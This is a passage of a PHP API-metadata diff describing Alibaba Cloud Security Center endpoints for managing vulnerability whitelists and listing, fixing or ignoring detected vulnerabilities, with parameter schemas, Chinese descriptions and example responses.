'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"6B23A612-D997-5176-8C3B-D640DFD65772\\",\\n \\"VulWhitelistList\\": [\\n {\\n \\"Id\\": 30376\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 6B23A612-D997-5176-8C3B-D640DFD65772\\n","errorExample":""}]', + 'title' => '添加漏洞白名单', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'GetVulWhitelist' => [ + 'summary' => '查询漏洞白名单详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'VulWhitelistId', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞白名单ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1275', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '漏洞白名单详情返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F', + ], + 'VulWhitelist' => [ + 'description' => '漏洞白名单的详细信息。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '漏洞白名单ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1275', + ], + 'Name' => [ + 'description' => '漏洞名称。', + 'type' => 'string', + 'example' => 'oval:com.redhat.rhsa:def:20173263', + ], + 'Type' => [ + 'description' => '漏洞类型。', + 'type' => 'string', + 'example' => 'cve', + ], + 'AliasName' => [ + 'description' => '漏洞别名。', + 'type' => 'string', + 'example' => 'RHSA-2017:3263: curl security update', + ], + 'Reason' => [ + 'description' => '加白原因。', + 'type' => 'string', + 'example' => '忽略', + ], + 'Target' => [ + 'description' => '规则使用范围。该值为JSON字符串，包含以下字段：'."\n" + ."\n" + .'- **type**：适用类型。取值：'."\n" + ."\n" + .' - **Uuid**：主机'."\n" + .' - **GroupId**：群组'."\n" + ."\n" + .'- **groupIds**：适用资产群组编号'."\n" + .'- **uuids**：适用资产UUID'."\n" + ."\n" + .'> 该值为空则适用全部资产。', + 'type' => 'string', + 'example' => '{'."\n" + .' "type": "GroupId",'."\n" + .' "uuids": [],'."\n" + .' "groupIds": ['."\n" + .' 10782678'."\n" + .' ]'."\n" + .'}', + ], + 'Whitelist' => [ + 'description' => '要添加到白名单中的漏洞的信息。格式为JSON格式的字符串。包含以下字段：'."\n" + ."\n" + .'- **Name**：漏洞名称。'."\n" + .'- **Type**：漏洞类型。取值：'."\n" + ."\n" + .' - **cve**：Linux漏洞'."\n" + .' - **sys**：Windows漏洞'."\n" + .' - **cms**：WebCMS漏洞'."\n" + .' - **app**：应用漏洞'."\n" + .' - **emg**：应急漏洞'."\n" + ."\n" + .'- **AliasName**：漏洞别名。', + 'type' => 'string', + 'example' => '['."\n" + .' {'."\n" + .' "Name": "oval:com.redhat.rhsa:def:20173263",'."\n" + .' "Type": "cve",'."\n" + .' "AliasName": "RHSA-2017:3263: curl security update"'."\n" + .' }'."\n" + .']', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'InvalidId', + 'errorMessage' => 'Invalid ID.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F\\",\\n \\"VulWhitelist\\": {\\n \\"Id\\": 1275,\\n \\"Name\\": \\"oval:com.redhat.rhsa:def:20173263\\",\\n \\"Type\\": \\"cve\\",\\n \\"AliasName\\": \\"RHSA-2017:3263: curl security update\\",\\n \\"Reason\\": \\"忽略\\",\\n \\"Target\\": \\"{\\\\n \\\\\\"type\\\\\\": \\\\\\"GroupId\\\\\\",\\\\n \\\\\\"uuids\\\\\\": [],\\\\n \\\\\\"groupIds\\\\\\": [\\\\n 10782678\\\\n ]\\\\n}\\",\\n \\"Whitelist\\": \\"[\\\\n {\\\\n \\\\\\"Name\\\\\\": \\\\\\"oval:com.redhat.rhsa:def:20173263\\\\\\",\\\\n \\\\\\"Type\\\\\\": \\\\\\"cve\\\\\\",\\\\n \\\\\\"AliasName\\\\\\": \\\\\\"RHSA-2017:3263: curl security update\\\\\\"\\\\n }\\\\n]\\"\\n }\\n}","type":"json"}]', + 'title' => '查询漏洞白名单详情', + ], + 'DeleteVulWhitelist' => [ + 'summary' => '删除指定的漏洞白名单。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'Whitelist', + 'in' => 'query', + 'schema' => [ + 'description' => '要删除的漏洞白名单信息。格式为JSON格式的字符串。包含以下字段：'."\n" + ."\n" + .'- **Name**：漏洞名称。'."\n" + .'- **Type**：漏洞类型。取值：'."\n" + ."\n" + .' - **cve**：Linux漏洞'."\n" + .' - **sys**：Windows漏洞'."\n" + .' - **cms**：WebCMS漏洞'."\n" + .' - **app**：应用漏洞'."\n" + .' - **emg**：应急漏洞'."\n" + ."\n" + .'- **AliasName**：漏洞别名。', + 'type' => 'string', + 'required' => false, + 'example' => '['."\n" + .' {'."\n" + .' "Name": "oval:com.redhat.rhsa:def:20173263",'."\n" + .' "Type": "cve",'."\n" + .' "AliasName": "RHSA-2017:3263: curl security update"'."\n" + .' }'."\n" + .']', + ], + ], + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞白名单ID。'."\n" + .'> 删除漏洞白名单，可提供漏洞白名单ID，该ID可调用[DescribeVulWhitelist](~~DescribeVulWhitelist~~)接口获取。', + 'type' => 'string', + 'required' => false, + 'example' => '131231', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回的数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '9FBC6E47-7508-58C9-9E76-528E118CB1CC', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9FBC6E47-7508-58C9-9E76-528E118CB1CC\\"\\n}","type":"json"}]', + 'title' => '删除指定的漏洞白名单', + ], + 'ModifyOperateVul' => [ + 'summary' => '对检测到的漏洞进行处理，处理方式包括修复、验证、忽略等。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92379', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Info', + 'in' => 'query', + 'schema' => [ + 'description' => '要处理的漏洞的信息。该参数为JSON格式，包含以下字段：'."\n" + ."\n" + .'- **name**：漏洞的名称'."\n" + .'- **uuid**：存在漏洞的服务器的UUID'."\n" + .'- **tag**：漏洞的标签。取值：'."\n" + .' - **oval**：Linux软件漏洞'."\n" + .' - **system**：Windows系统漏洞'."\n" + .' - **cms**：Web-CMS漏洞'."\n" + ."\n" + .'> 其他漏洞类型该参数的取值可调用[DescribeVulList](~~DescribeVulList~~)接口获取漏洞的信息。'."\n" + ."\n" + .'- **isFront**：Windows补丁是否是前置补丁。此参数仅处理Windows系统漏洞时设置，处理其他类型漏洞可忽略。取值：'."\n" + .' - **0**：否'."\n" + .' - **1**：是'."\n" + ."\n" + .'> 支持批量处理漏洞，多个漏洞信息之间使用半角逗号（,）分隔。您可调用[DescribeVulList](~~DescribeVulList~~)接口获取漏洞的信息。', + 'type' => 'string', + 'required' => true, + 'example' => '[{"name":"alilinux2:2.1903:ALINUX2-SA-2022:0007","uuid":"a3bb82a8-a3bd-4546-acce-45ac34af****","tag":"oval","isFront":0},{"name":"alilinux2:2.1903:ALINUX2-SA-2022:0007","uuid":"98a6fecc-88cd-46f2-8e35-f808a388****","tag":"oval","isFront":0}]', + ], + ], + [ + 'name' => 'OperateType', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞的处理方式。取值：'."\n" + .'- **vul_fix**：修复漏洞'."\n" + .'- **vul_verify**：验证漏洞'."\n" + .'- **vul_ignore**：忽略漏洞'."\n" + .'- **vul\\_undo\\_ignore**：取消忽略'."\n" + .'- **vul_delete**：删除漏洞', + 'type' => 'string', + 'required' => true, + 'example' => 'vul_fix', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '要处理的漏洞的类型。取值：'."\n" + .'- **cve**：Linux软件漏洞'."\n" + .'- **sys**：Windows系统漏洞'."\n" + .'- **cms**：Web-CMS漏洞'."\n" + .'- **emg**：应急漏洞'."\n" + .'- **app**：应用漏洞'."\n" + .'- **sca**：软件成分分析漏洞'."\n" + ."\n" + .'> 应急漏洞（emg）、应用漏洞（app）和软件成分分析漏洞（sca）不支持执行漏洞修复操作。', + 'type' => 'string', + 'required' => true, + 'example' => 'cve', + ], + ], + [ + 'name' => 'Reason', + 'in' => 'query', + 'schema' => [ + 'description' => '处理漏洞的方式为**忽略**时的原因。'."\n" + .'> 仅漏洞的处理方式为**忽略**（即**OperateType**配置为**vul_ignore**）时，需要设置该参数。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'not operate', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定为**sas**。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'DFE4F166-1AC9-4FAC-A4E4-F0608AD705A6', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'InsufficientAuthorizationCount', + 'errorMessage' => 'Authorization count is insufficient.', + ], + [ + 'errorCode' => 'UnauthorizedMachineNotSupportFix', + 'errorMessage' => 'Unauthorized machines do not support vulnerability fixing.', + ], + [ + 'errorCode' => 'UserInstanceVersionNotSupportFix', + 'errorMessage' => 'Vulnerability fixing is not supported for the instance version.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"DFE4F166-1AC9-4FAC-A4E4-F0608AD705A6\\"\\n}","errorExample":""},{"type":"xml","example":"\\n DFE4F166-1AC9-4FAC-A4E4-F0608AD705A6\\n","errorExample":""}]', + 'title' => '对检测到的漏洞进行处理', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeVulList' => [ + 'summary' => '根据漏洞类型查询对应漏洞信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92248', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Ids', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞ID列表，多个ID之间使用半角逗号（,）分隔，最多50个。', + 'type' => 'string', + 'required' => false, + 'example' => '282,281,283', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询漏洞的资产信息，可以设置为资产名称、公网IP或私网IP。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产分组ID。'."\n" + .'> 您可以调用[DescribeAllGroups](~~DescribeAllGroups~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '9207613', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞类型。取值：'."\n" + .'- **cve**：Linux软件漏洞'."\n" + .'- **sys**：Windows系统漏洞'."\n" + .'- **cms**：Web-CMS漏洞'."\n" + .'- **app**：应用漏洞（web扫描器）'."\n" + .'- **emg**：应急漏洞'."\n" + .'- **sca**：应用漏洞（软件成分分析）', + 'type' => 'string', + 'required' => true, + 'example' => 'cve', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询漏洞的服务器的UUID，多个UUID之间使用半角逗号（,）分隔。'."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '1587bedb-fdb4-48c4-9330-****', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'oval:com.redhat.rhsa:def:20172836', + ], + ], + [ + 'name' => 'AliasName', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞别名。', + 'type' => 'string', + 'required' => false, + 'example' => 'RHSA-2019:0230-Important: polkit security update', + ], + ], + [ + 'name' => 'StatusList', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞状态，多个用英文逗号隔开。取值：'."\n" + ."\n" + .'- **1**：未修复'."\n" + .'- **2**：修复失败'."\n" + .'- **3**：回滚失败'."\n" + .'- **4**：修复中'."\n" + .'- **5**：回滚中'."\n" + .'- **6**：验证中'."\n" + .'- **7**：修复成功'."\n" + .'- **8**：修复成功待重启'."\n" + .'- **9**：回滚成功'."\n" + .'- **10**：已忽略'."\n" + .'- **11**：回滚成功待重启'."\n" + .'- **12**：漏洞不存在'."\n" + .'- **20**：已失效', + 'type' => 'string', + 'required' => false, + 'example' => '1,2,3', + ], + ], + [ + 'name' => 'Necessity', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞修复必要性等级。多个等级之间使用半角逗号（,）分隔。取值：'."\n" + ."\n" + .'- **asap**：高'."\n" + .'- **later**：中'."\n" + .'- **nntf**：低', + 'type' => 'string', + 'required' => false, + 'example' => 'asap,later,nntf', + ], + ], + [ + 'name' => 'Dealed', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞是否已修复。取值：'."\n" + ."\n" + .'- **y**：已修复'."\n" + .'- **n**：未修复', + 'type' => 'string', + 'required' => false, + 'example' => 'n', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的漏洞信息的数量。默认值为**10**，表示每页显示10条漏洞信息。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'AttachTypes', + 'in' => 'query', + 'schema' => [ + 'description' => '查询应用漏洞时的附加漏洞类型。该参数固定取值为**sca**。查询应用漏洞（即**Type**设置为**app**）时需要设置该参数。'."\n" + .'>如果该参数设置为**sca**，可查询应用漏洞（app类型）及软件成分分析（sca类型）漏洞，如果不设置该参数，只查询应用漏洞。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'sca', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞所在资产类型。取值包括：'."\n" + ."\n" + .'- **k8s**：K8s组件'."\n" + ."\n" + .'- **uuid**：服务器'."\n" + ."\n" + .'- **containerId**：容器', + 'type' => 'string', + 'required' => false, + 'example' => 'k8s', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'c88fb10da1168494091db6aafc5dd****', + ], + ], + [ + 'name' => 'VpcInstanceIds', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询漏洞的VPC实例ID。多个之间ID使用半角逗号（,）分隔。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'ins-133****,ins-5414****', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1232428423234****', + ], + ], + [ + 'name' => 'UseNextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '是否使用NextToken方式拉取漏洞列表数据。如果使用此参数TotalCount不再返回。取值：'."\n" + ."\n" + .'- **true**：使用NextToken方式'."\n" + .'- **false**：不使用NextToken方式', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + [ + 'name' => 'NextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '使用NextToken方式下返回的NextToken值。第一次拉取传空。', + 'type' => 'string', + 'required' => false, + 'example' => 'E17B501887A2D3AA5E8360A6EFA3B***', + ], + ], + [ + 'name' => 'RaspDefend', + 'in' => 'query', + 'schema' => [ + 'description' => '应用防护（RASP）是否支持实时防护该漏洞。取值：'."\n" + ."\n" + .'- **0**：不支持'."\n" + .'- **1**：支持', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '2F26AB2A-1075-488F-8472-40E5DB486ACC', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的漏洞总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'VulRecords' => [ + 'description' => '查询到的漏洞信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '漏洞状态。取值：'."\n" + ."\n" + .'- **1**：未修复'."\n" + .'- **2**：修复失败'."\n" + .'- **3**：回滚失败'."\n" + .'- **4**：修复中'."\n" + .'- **5**：回滚中'."\n" + .'- **6**：验证中'."\n" + .'- **7**：修复成功'."\n" + .'- **8**：修复成功待重启'."\n" + .'- **9**：回滚成功'."\n" + .'- **10**：已忽略'."\n" + .'- **11**：回滚成功待重启'."\n" + .'- **12**：漏洞不存在'."\n" + .'- **20**：已失效', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RaspDefend' => [ + 'description' => '支持RASP实时防护，取值：'."\n" + .'- **0**：不支持'."\n" + .'- **1**：支持'."\n" + ."\n" + .'> 无该属性也表示不支持。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RaspStatus' => [ + 'description' => 'RASP实时防护模式。取值：'."\n" + .'- **0**：未防护'."\n" + .'- **1**：监控模式'."\n" + .'- **2**：拦截模式'."\n" + .'- **3**：禁用', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Type' => [ + 'description' => '漏洞类型。取值：'."\n" + ."\n" + .'- **cve**：Linux漏洞'."\n" + .'- **sys**：Windows漏洞'."\n" + .'- **cms**：WebCMS漏洞'."\n" + .'- **emg**：应急漏洞'."\n" + .'- **app**：应用漏洞'."\n" + .'- **sca**：应用漏洞（软件成分分析）'."\n", + 'type' => 'string', + 'example' => 'cve', + ], + 'ModifyTs' => [ + 'description' => '修改漏洞状态时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1620404763000', + ], + 'InternetIp' => [ + 'description' => '资产公网IP。', + 'type' => 'string', + 'example' => '1.2.XX.XX', + ], + 'PrimaryId' => [ + 'description' => '漏洞ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '101162078', + ], + 'Tag' => [ + 'description' => '漏洞标签。', + 'type' => 'string', + 'example' => 'oval', + ], + 'K8sClusterId' => [ + 'description' => '容器关联的集群ID。'."\n" + .'> 非旗舰版用户没有容器资产信息，无法获取该字段。', + 'type' => 'string', + 'example' => 'c863dc93bed3843de9934d4346dc4****', + ], + 'K8sNodeId' => [ + 'description' => '容器关联的节点ID。'."\n" + .'> 非旗舰版用户没有容器资产信息，无法获取该字段。', + 'type' => 'string', + 'example' => 'i-bp1ifm6suw9mnbsr****', + ], + 'InstanceName' => [ + 'description' => '资产实例名称。', + 'type' => 'string', + 'example' => 'testInstance', + ], + 'Online' => [ + 'description' => '资产实例的Agent客户端是否在线。取值：'."\n" + .'- **true**：在线'."\n" + .'- **false**：离线', + 'type' => 'boolean', + 'example' => 'true', + ], + 'OsVersion' => [ + 'description' => '资产的操作系统名称。', + 'type' => 'string', + 'example' => 'linux', + ], + 'Name' => [ + 'description' => '漏洞名称。', + 'type' => 'string', + 'example' => 'oval:com.redhat.rhsa:def:20170574', + ], + 'Progress' => [ + 'description' => '漏洞修复进度。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'ResultCode' => [ + 'description' => '修复返回码。', + 'type' => 'string', + 'example' => '0', + ], + 'InstanceId' => [ + 'description' => '资产实例ID。', + 'type' => 'string', + 'example' => 'i-bp18t***', + ], + 'Related' => [ + 'description' => '漏洞关联的CVE列表，有多个取值时用半角逗号（,）分隔。', + 'type' => 'string', + 'example' => 'CVE-2017-7518,CVE-2017-12188', + ], + 'IntranetIp' => [ + 'description' => '资产私网IP。', + 'type' => 'string', + 'example' => '1.2.XX.XX', + ], + 'LastTs' => [ + 'description' => '最后发现漏洞的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1620404763000', + ], + 'FirstTs' => [ + 'description' => '首次发现漏洞的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1554189334000', + ], + 'RegionId' => [ + 'description' => '实例所在的地域的ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'Necessity' => [ + 'description' => '漏洞修复必要性等级。取值：'."\n" + ."\n" + .'- **asap**：高'."\n" + .'- **later**：中'."\n" + .'- **nntf**：低'."\n" + ."\n" + .'> 建议您尽快修复必要性等级为**高**的漏洞。', + 'type' => 'string', + 'example' => 'asap', + ], + 'RepairTs' => [ + 'description' => '漏洞修复时间戳，单位为毫秒。该参数仅在控制台发起修复时存在。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1541207563000', + ], + 'Uuid' => [ + 'description' => '资产实例的UUID。', + 'type' => 'string', + 'example' => '04c56617-23fc-43a5-ab9b-****', + ], + 'K8sPodName' => [ + 'description' => '容器关联的Pod名称。'."\n" + ."\n" + .'> 非旗舰版用户没有容器资产信息，无法获取该字段。', + 'type' => 'string', + 'example' => 'deployment-riskai-7b67d68975-m****', + ], + 'ContainerId' => [ + 'description' => '容器id。', + 'type' => 'string', + 'example' => '04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****'."\n", + ], + 'GroupId' => [ + 'description' => '资产分组ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '281801', + ], + 'ResultMessage' => [ + 'description' => '修复返回消息。', + 'type' => 'string', + 'example' => 'timeout', + ], + 'K8sNamespace' => [ + 'description' => '容器关联的命名空间。'."\n" + .'> 旗舰版用户优先从容器资产关联查询，非旗舰版用户通过客户端采集获取。', + 'type' => 'string', + 'example' => 'default', + ], + 'AliasName' => [ + 'description' => '漏洞名称。', + 'type' => 'string', + 'example' => 'RHSA-2019:0230-Important: polkit security update', + ], + 'K8sNodeName' => [ + 'description' => '容器关联的节点名称。'."\n" + .'> 非旗舰版用户没有容器资产信息，无法获取该字段。', + 'type' => 'string', + 'example' => 'deployment-riskai-7b67d68975-m****', + ], + 'ExtendContentJson' => [ + 'description' => '漏洞扩展信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '漏洞状态。取值：'."\n" + ."\n" + .'- **1**：未修复'."\n" + .'- **2**：修复失败'."\n" + .'- 3：回滚失败'."\n" + .'- **4**：修复中'."\n" + .'- **5**：回滚中'."\n" + .'- **6**：验证中'."\n" + .'- **7**：修复成功'."\n" + .'- **8**：修复成功待重启'."\n" + .'- **9**：回滚成功'."\n" + .'- **10**：已忽略'."\n" + .'- **11**：回滚成功待重启'."\n" + .'- **12**：漏洞不存在'."\n" + .'- **20**：已失效', + 'type' => 'string', + 'example' => '1', + ], + 'EmgProof' => [ + 'description' => '应急漏洞返回特征。', + 'type' => 'string', + 'example' => 'com.xxl.rpc.util.XxlRpcException: xxl-rpc request data is empty.\\n\\tat com.xxl.rpc.remoting.net.impl.servlet.serve"', + ], + 'Ip' => [ + 'description' => '漏洞关联资产的公网IP地址。', + 'type' => 'string', + 'example' => '1.2.XX.XX', + ], + 'PrimaryId' => [ + 'description' => '漏洞ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '111', + ], + 'Os' => [ + 'description' => '操作系统名称。', + 'type' => 'string', + 'example' => 'centos', + ], + 'Tag' => [ + 'description' => '漏洞标签。', + 'type' => 'string', + 'example' => 'oval', + ], + 'LastTs' => [ + 'description' => '最后发现漏洞的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1620404763000', + ], + 'Description' => [ + 'description' => '漏洞描述。', + 'type' => 'string', + 'example' => 'kernel version:5.10.84-10.2.al8.x86_64', + ], + 'OsRelease' => [ + 'description' => '操作系统版本描述。', + 'type' => 'string', + 'example' => '7', + ], + 'AliasName' => [ + 'description' => '漏洞名称。', + 'type' => 'string', + 'example' => 'RHSA-2019:0230-Important: polkit security update', + ], + 'Target' => [ + 'description' => '漏洞地址。', + 'type' => 'string', + 'example' => 'http://39.99.XX.XX:30005/toLogin', + ], + 'AbsolutePath' => [ + 'description' => '漏洞相关软件包的路径。', + 'type' => 'string', + 'example' => '/roo/www/web', + ], + 'RpmEntityList' => [ + 'description' => 'RPM包列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'FullVersion' => [ + 'description' => '完整版本号。', + 'type' => 'string', + 'example' => '3.10.0-693.2.2.el7', + ], + 'Version' => [ + 'description' => '存在漏洞的软件包版本号。', + 'type' => 'string', + 'example' => '3.10.0', + ], + 'MatchDetail' => [ + 'description' => '漏洞命中详细信息。', + 'type' => 'string', + 'example' => 'python-perf version less than 0:3.10.0-693.21.1.el7', + ], + 'ImageName' => [ + 'description' => '镜像名称。', + 'type' => 'string', + 'example' => 'registry_387ytb_xxx', + ], + 'Path' => [ + 'description' => '存在漏洞的软件所在路径。', + 'type' => 'string', + 'example' => '/usr/lib64/python2.7/site-packages', + ], + 'ContainerName' => [ + 'description' => '容器名称。', + 'type' => 'string', + 'example' => 'k8s_67895c4_xxx', + ], + 'Name' => [ + 'description' => 'RPM名称。', + 'type' => 'string', + 'example' => 'python-perf', + ], + 'UpdateCmd' => [ + 'description' => '修复命令。', + 'type' => 'string', + 'example' => '*** update python-perf', + ], + 'MatchList' => [ + 'description' => '命中规则。', + 'type' => 'array', + 'items' => [ + 'description' => '命中规则。', + 'type' => 'string', + 'example' => 'fastjson(jar) extendField.safemode equals false', + ], + ], + 'Pid' => [ + 'description' => '进程ID。', + 'type' => 'string', + 'example' => '8664', + ], + 'ExtendField' => [ + 'description' => '漏洞包扩展信息。', + 'type' => 'string', + 'example' => '{"msg_no_lookups_configured_CVE_2021_44228": "false", "jndi_class_not_exist": "false"}', + ], + ], + ], + ], + 'cveList' => [ + 'description' => '漏洞公告列表。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞公告列表。', + 'type' => 'string', + 'example' => 'CVE-2016-8610', + ], + ], + 'Necessity' => [ + 'description' => 